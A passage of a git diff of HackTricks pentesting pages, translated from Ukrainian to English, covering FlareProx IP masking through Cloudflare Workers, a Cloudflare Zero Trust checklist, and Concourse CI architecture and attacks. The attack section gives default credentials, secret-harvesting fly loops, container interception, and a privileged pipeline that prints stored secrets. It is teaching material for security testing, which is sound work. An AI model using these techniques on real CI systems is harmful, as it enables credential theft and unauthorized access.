curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` контроль**
|
||||
|
||||
Якщо Worker враховує `X-My-X-Forwarded-For`, ви можете впливати на значення `X-Forwarded-For`, яке буде передано upstream:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Програмне використання**
|
||||
|
||||
Використовуйте бібліотеку FlareProx для створення/переліку/тестування endpoints та маршрутизації запитів з Python.
|
||||
|
||||
<details>
|
||||
<summary>Приклад на Python: Надіслати POST через випадковий Worker endpoint</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner integration**
|
||||
- Налаштуйте інструменти (наприклад, Burp Suite) на Worker URL.
|
||||
- Надайте реальний upstream, використовуючи ?url= або X-Target-URL.
|
||||
- HTTP semantics (methods/headers/body) зберігаються, одночасно маскуючи ваш вихідний IP за Cloudflare.
|
||||
|
||||
**Операційні нотатки та обмеження**
|
||||
- Cloudflare Workers Free plan дозволяє приблизно 100,000 запитів/день на акаунт; використовуйте кілька endpoints для розподілу трафіку за потреби.
|
||||
- Workers працюють в мережі Cloudflare; багато цілей бачитимуть лише Cloudflare IPs/ASN, що може обійти наївні списки дозволених/заборонених IP або geo heuristics.
|
||||
- Використовуйте відповідально і тільки з авторизацією. Дотримуйтесь ToS та robots.txt.
|
||||
|
||||
## Посилання
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,60 +2,63 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
У обліковому записі **Cloudflare Zero Trust Network** є деякі **налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Аналітика
|
||||
### Analytics
|
||||
|
||||
- [ ] Корисно для **ознайомлення з середовищем**
|
||||
- [ ] Useful to **get to know the environment**
|
||||
|
||||
### **Шлюз**
|
||||
### **Gateway**
|
||||
|
||||
- [ ] У **`Політиках`** можна створювати політики для **обмеження** доступу до додатків за **DNS**, **мережею** або **HTTP** запитом.
|
||||
- Якщо використовується, **політики** можуть бути створені для **обмеження** доступу до шкідливих сайтів.
|
||||
- Це **актуально лише якщо використовується шлюз**, якщо ні, немає причин створювати захисні політики.
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
|
||||
### Доступ
|
||||
### Access
|
||||
|
||||
#### Додатки
|
||||
#### Applications
|
||||
|
||||
На кожному додатку:
|
||||
On each application:
|
||||
|
||||
- [ ] Перевірте **хто** може отримати доступ до додатку в **Політиках** і переконайтеся, що **тільки** **користувачі**, які **потребують доступу** до додатку, можуть отримати доступ.
|
||||
- Для надання доступу будуть використовуватися **`Групи доступу`** (також можуть бути встановлені **додаткові правила**)
|
||||
- [ ] Перевірте **доступних постачальників ідентичності** і переконайтеся, що вони **не занадто відкриті**
|
||||
- [ ] У **`Налаштуваннях`**:
|
||||
- [ ] Перевірте, що **CORS не увімкнено** (якщо увімкнено, перевірте, що воно **безпечне** і не дозволяє все)
|
||||
- [ ] Файли cookie повинні мати атрибут **Strict Same-Site**, **HTTP Only** і **прив'язка cookie** повинна бути **увімкнена**, якщо додаток є HTTP.
|
||||
- [ ] Розгляньте можливість увімкнення також **рендерингу браузера** для кращого **захисту. Більше інформації про** [**ізоляцію віддаленого браузера тут**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Групи доступу**
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Перевірте, що згенеровані групи доступу **правильно обмежені** для користувачів, яким вони повинні надавати доступ.
|
||||
- [ ] Особливо важливо перевірити, що **група доступу за замовчуванням не є дуже відкритою** (вона **не дозволяє занадто багатьом людям**), оскільки за **замовчуванням** будь-хто в цій **групі** зможе **отримати доступ до додатків**.
|
||||
- Зверніть увагу, що можливо надати **доступ** **ВСІМ** та інші **дуже відкриті політики**, які не рекомендуються, якщо це не є 100% необхідним.
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
|
||||
#### Аутентифікація сервісу
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Перевірте, що всі токени сервісу **закінчуються через 1 рік або менше**
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
|
||||
#### Тунелі
|
||||
#### Tunnels
|
||||
|
||||
TODO
|
||||
|
||||
### Моя команда
|
||||
### My Team
|
||||
|
||||
TODO
|
||||
|
||||
### Журнали
|
||||
### Logs
|
||||
|
||||
- [ ] Ви можете шукати **неочікувані дії** від користувачів
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
|
||||
### Налаштування
|
||||
### Settings
|
||||
|
||||
- [ ] Перевірте **тип плану**
|
||||
- [ ] Можна побачити **ім'я власника кредитної картки**, **останні 4 цифри**, **дату закінчення** та **адресу**
|
||||
- [ ] Рекомендується **додати термін дії користувацького місця**, щоб видалити користувачів, які насправді не використовують цей сервіс
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,32 +2,35 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
Concourse дозволяє вам **створювати конвеєри** для автоматичного виконання тестів, дій та створення зображень, коли це необхідно (за часом, коли щось відбувається...)
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
|
||||
## Архітектура Concourse
|
||||
## Concourse Architecture
|
||||
|
||||
Дізнайтеся, як структуроване середовище concourse у:
|
||||
Learn how the concourse environment is structured in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Лабораторія Concourse
|
||||
## Concourse Lab
|
||||
|
||||
Дізнайтеся, як ви можете запустити середовище concourse локально, щоб провести власні тести у:
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Перерахунок та атака на Concourse
|
||||
## Enumerate & Attack Concourse
|
||||
|
||||
Дізнайтеся, як ви можете перерахувати середовище concourse та зловживати ним у:
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,38 +1,42 @@
|
||||
# Архітектура Concourse
|
||||
# Concourse Architecture
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Архітектура Concourse
|
||||
## Concourse Architecture
|
||||
|
||||
[**Відповідні дані з документації Concourse:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Архітектура
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: веб UI та планувальник збірок
|
||||
#### ATC: web UI & build scheduler
|
||||
|
||||
ATC є серцем Concourse. Він запускає **веб UI та API** і відповідає за все **планування** конвеєрів. Він **підключається до PostgreSQL**, який використовує для зберігання даних конвеєра (включаючи журнали збірок).
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
|
||||
Відповідальність [checker](https://concourse-ci.org/checker.html) полягає в безперервній перевірці нових версій ресурсів. [scheduler](https://concourse-ci.org/scheduler.html) відповідає за планування збірок для роботи, а [build tracker](https://concourse-ci.org/build-tracker.html) відповідає за виконання будь-яких запланованих збірок. [garbage collector](https://concourse-ci.org/garbage-collector.html) є механізмом очищення для видалення будь-яких невикористовуваних або застарілих об'єктів, таких як контейнери та томи.
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
|
||||
#### TSA: реєстрація працівників та пересилання
|
||||
#### TSA: worker registration & forwarding
|
||||
|
||||
TSA є **кастомізованим SSH сервером**, який використовується виключно для безпечної **реєстрації** [**працівників**](https://concourse-ci.org/internals.html#architecture-worker) з [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
TSA за **замовчуванням слухає на порту `2222`** і зазвичай розташований разом з [ATC](https://concourse-ci.org/internals.html#component-atc) і знаходиться за балансувальником навантаження.
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
|
||||
**TSA реалізує CLI через SSH з'єднання,** підтримуючи [**ці команди**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### Працівники
|
||||
#### Workers
|
||||
|
||||
Для виконання завдань Concourse повинен мати кілька працівників. Ці працівники **реєструються** через [TSA](https://concourse-ci.org/internals.html#component-tsa) і запускають сервіси [**Garden**](https://github.com/cloudfoundry-incubator/garden) та [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: Це **API управління контейнерами**, зазвичай працює на **порту 7777** через **HTTP**.
|
||||
- **Baggageclaim**: Це **API управління томами**, зазвичай працює на **порту 7788** через **HTTP**.
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -8,202 +8,213 @@
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse має п'ять ролей:
|
||||
Concourse comes with five roles:
|
||||
|
||||
- _Concourse_ **Admin**: Ця роль надається лише власникам **основної команди** (за замовчуванням початкова команда concourse). Адміністратори можуть **конфігурувати інші команди** (наприклад: `fly set-team`, `fly destroy-team`...). Дозволи цієї ролі не можуть бути змінені за допомогою RBAC.
|
||||
- **owner**: Власники команди можуть **змінювати все в межах команди**.
|
||||
- **member**: Члени команди можуть **читати та писати** в **активах команди**, але не можуть змінювати налаштування команди.
|
||||
- **pipeline-operator**: Оператори конвеєра можуть виконувати **операції конвеєра**, такі як запуск збірок і закріплення ресурсів, однак вони не можуть оновлювати конфігурації конвеєра.
|
||||
- **viewer**: Глядачі команди мають **доступ "тільки для читання" до команди** та її конвеєрів.
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Більше того, **дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені** шляхом налаштування RBAC (конфігуруючи, більш конкретно, його дії). Читайте більше про це на: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Зверніть увагу, що Concourse **групує конвеєри всередині Команд**. Тому користувачі, які належать до Команди, зможуть керувати цими конвеєрами, і **може існувати кілька Команд**. Користувач може належати до кількох Команд і мати різні дозволи в кожній з них.
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
У YAML конфігураціях ви можете налаштувати значення, використовуючи синтаксис `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[З документації:](https://concourse-ci.org/vars.html#var-syntax) **source-name є необов'язковим**, і якщо його пропустити, буде використано [менеджер облікових даних на рівні кластера](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), або значення може бути надано [статично](https://concourse-ci.org/vars.html#static-vars).\
|
||||
**Необов'язкове \_secret-field**\_ вказує на поле в отриманому секреті для читання. Якщо його пропустити, менеджер облікових даних може вибрати для читання 'поле за замовчуванням' з отриманих облікових даних, якщо таке поле існує.\
|
||||
Більше того, _**secret-path**_ та _**secret-field**_ можуть бути оточені подвійними лапками `"..."`, якщо вони **містять спеціальні символи** такі як `.` та `:`. Наприклад, `((source:"my.secret"."field:1"))` встановить _secret-path_ на `my.secret` і _secret-field_ на `field:1`.
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Статичні змінні можуть бути вказані в **кроках завдань**:
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Або використовуючи наступні `fly` **аргументи**:
|
||||
|
||||
- `-v` або `--var` `NAME=VALUE` встановлює рядок `VALUE` як значення для змінної `NAME`.
|
||||
- `-y` або `--yaml-var` `NAME=VALUE` парсить `VALUE` як YAML і встановлює його як значення для змінної `NAME`.
|
||||
- `-i` або `--instance-var` `NAME=VALUE` парсить `VALUE` як YAML і встановлює його як значення для змінної екземпляра `NAME`. Дивіться [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), щоб дізнатися більше про змінні екземпляра.
|
||||
- `-l` або `--load-vars-from` `FILE` завантажує `FILE`, YAML документ, що містить відповідність імен змінних до значень, і встановлює їх усі.
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
#### Управління обліковими даними
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
|
||||
Існують різні способи, як **менеджер облікових даних може бути вказаний** в конвеєрі, читайте як в [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Більше того, Concourse підтримує різні менеджери облікових даних:
|
||||
#### Credential Management
|
||||
|
||||
- [Менеджер облікових даних Vault](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [Менеджер облікових даних CredHub](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [Менеджер облікових даних AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [Менеджер облікових даних AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Менеджер облікових даних Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [Менеджер облікових даних Conjur](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Кешування облікових даних](https://concourse-ci.org/creds-caching.html)
|
||||
- [Редагування облікових даних](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Повторна спроба невдалих запитів](https://concourse-ci.org/creds-retry-logic.html)
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо у вас є якийсь вид **доступу на запис до Concourse**, ви можете створювати завдання для **екстракції цих секретів**, оскільки Concourse повинен мати можливість отримувати до них доступ.
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
|
||||
### Перерахування Concourse
|
||||
### Concourse Enumeration
|
||||
|
||||
Щоб перерахувати середовище concourse, спочатку потрібно **зібрати дійсні облікові дані** або знайти **авторизований токен**, ймовірно, в конфігураційному файлі `.flyrc`.
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
|
||||
#### Вхід та перерахування поточного користувача
|
||||
#### Login and Current User enum
|
||||
|
||||
- Щоб увійти, вам потрібно знати **кінцеву точку**, **ім'я команди** (за замовчуванням `main`) і **команду, до якої належить користувач**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Отримати налаштовані **цілі**:
|
||||
- `fly targets`
|
||||
- Перевірити, чи налаштоване **з'єднання з ціллю** все ще **дійсне**:
|
||||
- `fly -t <target> status`
|
||||
- Отримати **роль** користувача щодо вказаної цілі:
|
||||
- `fly -t <target> userinfo`
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що **API токен** за замовчуванням **зберігається** в `$HOME/.flyrc`, ви, обшукуючи машини, можете знайти там облікові дані.
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
|
||||
#### Команди та користувачі
|
||||
#### Teams & Users
|
||||
|
||||
- Отримати список команд
|
||||
- `fly -t <target> teams`
|
||||
- Отримати ролі в команді
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Отримати список користувачів
|
||||
- `fly -t <target> active-users`
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Конвеєри
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
- **Список** конвеєрів:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Отримати** yaml конвеєра (**чутлива інформація** може бути знайдена в визначенні):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Отримати всі **змінні конфігурації конвеєра**:
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Отримати всі **імена секретів конвеєра**, що використовуються (якщо ви можете створювати/змінювати завдання або захоплювати контейнер, ви можете їх екстрактувати):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### Контейнери та Робітники
|
||||
|
||||
- Список **робітників**:
|
||||
- `fly -t <target> workers`
|
||||
- Список **контейнерів**:
|
||||
- `fly -t <target> containers`
|
||||
- Список **збірок** (щоб побачити, що виконується):
|
||||
- `fly -t <target> builds`
|
||||
#### Containers & Workers
|
||||
|
||||
### Атаки на Concourse
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
#### Брутфорс облікових даних
|
||||
### Concourse Attacks
|
||||
|
||||
#### Credentials Brute-Force
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Перерахування секретів та параметрів
|
||||
#### Secrets and params enumeration
|
||||
|
||||
У попередньому розділі ми бачили, як ви можете **отримати всі назви та змінні секретів**, які використовуються в конвеєрі. **Змінні можуть містити чутливу інформацію**, а назви **секретів будуть корисні пізніше для спроби їх вкрасти**.
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
|
||||
#### Сесія всередині запущеного або нещодавно запущеного контейнера
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
|
||||
Якщо у вас достатньо привілеїв (**роль учасника або більше**), ви зможете **перелічити конвеєри та ролі** і просто отримати **сесію всередині** контейнера `<pipeline>/<job>` за допомогою:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
З цими правами ви можете:
|
||||
|
||||
- **Вкрасти секрети** всередині **контейнера**
|
||||
- Спробувати **втекти** на вузол
|
||||
- Перерахувати/Зловживати **інтерфейсом метаданих хмари** (з поду та з вузла, якщо це можливо)
|
||||
With these permissions you might be able to:
|
||||
|
||||
#### Створення/Модифікація конвеєра
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
|
||||
Якщо у вас достатньо привілеїв (**роль учасника або більше**), ви зможете **створювати/модифікувати нові конвеєри.** Перевірте цей приклад:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
